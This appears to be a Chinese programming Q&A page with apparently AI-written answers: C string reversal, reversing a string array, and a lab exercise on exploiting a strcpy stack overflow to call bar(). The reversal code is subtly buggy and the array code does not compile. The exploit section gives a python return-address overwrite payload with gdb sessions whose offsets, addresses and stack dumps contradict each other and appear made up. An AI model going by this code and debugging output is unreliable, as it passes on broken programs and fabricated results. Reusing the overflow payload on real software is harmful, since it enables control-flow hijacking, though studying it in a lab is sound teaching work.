编写c语言程序,将字符串逆序存放并输出,例如:当字符串是“This Is a c Program”,输出:“margorP c a sI sihT”
时间: 2024-10-02 15:02:23 浏览: 107
在C语言中,你可以使用循环和数组来实现字符串的逆序存放。这里是一个简单的示例:
```c
#include <stdio.h>
#include <string.h>
void reverse(char str[]) {
int length = strlen(str) - 1; // 获取字符串长度
for(int i = 0; i < length / 2; i++) { // 只需遍历一半,因为另一半会自动对齐
char temp = str[i]; // 存储当前字符
str[i] = str[length - i]; // 将当前位置的字符移动到最后
str[length - i] = temp; // 将原来位置的字符移动到当前位置
}
}
int main() {
char input[100];
printf("请输入一个字符串: ");
fgets(input, sizeof(input), stdin); // 防止换行符进入
input[strcspn(input, "\n")] = '\0'; // 去掉输入末尾的换行符
reverse(input);
printf("逆序后的字符串: %s\n", input);
return 0;
}
```
在这个程序中,`reverse()` 函数接收一个字符串作为参数,通过交换字符的位置实现逆序。然后在 `main()` 中获取用户输入,调用逆序函数,并打印出结果。
相关问题
C语言将一个字符串数组逆序输出
在C语言中,要将一个字符串数组逆序输出,你可以通过遍历数组并逐个交换元素的位置来实现。这里是一个简单的示例:
```c
#include <stdio.h>
#include <string.h>
void reverseArray(char arr[], int start, int end) {
while (start < end) {
char temp = arr[start];
arr[start] = arr[end];
arr[end] = temp;
start++;
end--;
}
}
int main() {
char strArray[] = {"Hello", "World", "C", "Program", "Learning"};
int length = sizeof(strArray) / sizeof(strArray[0]);
// 输出原始数组
printf("Original Array:\n");
for (int i = 0; i < length; i++) {
printf("%s ", strArray[i]);
}
// 逆序数组
reverseArray(strArray, 0, length - 1);
// 输出逆序后的数组
printf("\nReversed Array:\n");
for (int i = 0; i < length; i++) {
printf("%s ", strArray[i]);
}
return 0;
}
```
在这个例子中,`reverseArray`函数接受一个字符串数组、起始索引和结束索引作为参数,然后通过两个指针从两端向中间移动并交换字符。`main`函数首先打印原数组,然后调用`reverseArray`函数,最后再打印逆序后的数组。
第一题:对于下面的C语言程序,通过调试,给出适当的输入,使得bar函数能够得到执行。要求给出调试过程的界面。 #include <stdio.h> #include <string.h> void foo(const char* input) { char buf[10]; printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); strcpy(buf,input); printf(“%s\n”,buf); printf(“Now the stack looks like :\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); } void bar(void) { printf(“Augh! I’ve been hacked!\n”); } int main(int argc, char* argv[]) { printf(“Address of foo=%p\n”,foo); printf(“Address of bar=%p\n”,bar); if(argc!=2) { printf(“Please supply a string as an argument!\n”); return -1; } foo(argv[1]); return 0; }
首先,这段程序存在栈溢出漏洞,因为strcpy函数没有对目标缓冲区长度进行限制,当输入的字符串长度超过10时,就会覆盖掉函数栈上的其他数据,从而导致程序崩溃或者执行非预期的代码。
为了让bar函数得到执行,我们需要在覆盖函数栈时,将返回地址改为bar函数的地址。具体步骤如下:
1.使用gdb调试程序,设置断点在foo函数内部的strcpy函数处,并输入一个长度大于10的字符串作为参数。
```
$ gdb ./a.out
(gdb) b foo
Breakpoint 1 at 0x11c9: file test.c, line 8.
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /path/to/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, foo (input=0x7fffffffdd80 'A' <repeats 52 times>) at test.c:8
8 strcpy(buf,input);
```
2.查看当前栈的情况,确定bar函数的地址。
```
(gdb) x/20x $rsp
0x7fffffffdd10: 0x00007fffffffdd80 0x00007ffff7a5e830
0x7fffffffdd20: 0x0000000000000000 0x00007fffffffdf10
0x7fffffffdd30: 0x00007ffff7a5e830 0x00007fffffffde60
0x7fffffffdd40: 0x00000000004007a6 0x0000000000000000
0x7fffffffdd50: 0x0000000000000000 0x00007fffffffe040
0x7fffffffdd60: 0x00007ffff7a0a9d0 0x00007fffffffe040
0x7fffffffdd70: 0x00007fffffffde60 0x00007fffffffe040
0x7fffffffdd80: 0x4141414141414141 0x4141414141414141
0x7fffffffdd90: 0x4141414141414141 0x4141414141414141
0x7fffffffdda0: 0x4141414141414141 0x4141414141414141
(gdb) p bar
$1 = {void ()} 0x4005bd <bar>
```
3.计算出覆盖返回地址的偏移量。我们可以通过调整输入字符串的长度,来确定这个偏移量的值。在这个例子中,偏移量为24。
```
(gdb) p $rbp - $rsp
$2 = 0x30
(gdb) p $rbp - 0x18
$3 = (void *) 0x7fffffffdd18
(gdb) p/d $3-$rsp
$4 = 24
```
4.构造新的输入字符串,在偏移量处写入bar函数的地址。注意,x86_64架构的CPU是小端字节序,所以需要将地址按照逆序写入。
```
(gdb) p/x $bar
$5 = 0x4005bd
(gdb) quit
$ python -c 'print "A"*24 + "\xbd\x05\x40\x00\x00\x00\x00\x00"' | ./a.out
Address of foo=0x5555555549c9
Address of bar=0x4005bd
My stack looks like:
0x7ffd5c39cb60
0x555555554a77
0x7ffd5c39cb90
0x7fffffffdb70
(nil)
(nil)
Augh! I’ve been hacked!
Now the stack looks like :
0x7ffd5c39cb60
0x555555554a77
0x7ffd5c39cb90
0x7fffffffdb70
(nil)
(nil)
```
5.可以看到,bar函数已经被成功执行了。此时,我们可以使用gdb再次调试程序,查看栈的情况,确认返回地址是否已经被改变。
```
$ gdb ./a.out
(gdb) r $(python -c 'print "A"*24 + "\xbd\x05\x40\x00\x00\x00\x00\x00"')
Starting program: /path/to/a.out $(python -c 'print "A"*24 + "\xbd\x05\x40\x00\x00\x00\x00\x00"')
Address of foo=0x5555555549c9
Address of bar=0x4005bd
Breakpoint 1, foo (input=0x7fffffffdbe0 'A' <repeats 24 times>...) at test.c:8
8 strcpy(buf,input);
(gdb) x/20x $rsp
0x7fffffffdc60: 0x00007fffffffdbe0 0x00007ffff7a5e830
0x7fffffffdc70: 0x0000000000000000 0x00007fffffffdf10
0x7fffffffdc80: 0x00007ffff7a5e830 0x00007fffffffde60
0x7fffffffdc90: 0x00000000004007a6 0x0000000000000000
0x7fffffffdca0: 0x0000000000000000 0x00007fffffffe040
0x7fffffffdcb0: 0x00007ffff7a0a9d0 0x00007fffffffe040
0x7fffffffdcc0: 0x00007fffffffde60 0x00007fffffffe040
0x7fffffffdcd0: 0xbd05000000000000 0x0000555555554a77
0x7fffffffdce0: 0x00007fffffffdf10 0x00007fffffffe040
0x7fffffffdcf0: 0x00000000004007c0 0x00007fffffffe040
(gdb) c
Continuing.
Augh! I’ve been hacked!
[Inferior 1 (process 31350) exited normally]
```
阅读全文
相关推荐
![c](https://img-home.csdnimg.cn/images/20250102104920.png)
![rar](https://img-home.csdnimg.cn/images/20241231044955.png)
![pptx](https://img-home.csdnimg.cn/images/20241231044947.png)
![doc](https://img-home.csdnimg.cn/images/20241231044833.png)
![-](https://img-home.csdnimg.cn/images/20241231044930.png)
![-](https://img-home.csdnimg.cn/images/20241226111658.png)
![-](https://img-home.csdnimg.cn/images/20241226111658.png)
![-](https://img-home.csdnimg.cn/images/20241226111658.png)
![-](https://img-home.csdnimg.cn/images/20241226111658.png)
![-](https://img-home.csdnimg.cn/images/20241226111658.png)
![-](https://img-home.csdnimg.cn/images/20241226111658.png)
![-](https://img-home.csdnimg.cn/images/20241226111658.png)
![-](https://img-home.csdnimg.cn/images/20241226111658.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![pdf](https://img-home.csdnimg.cn/images/20241231044930.png)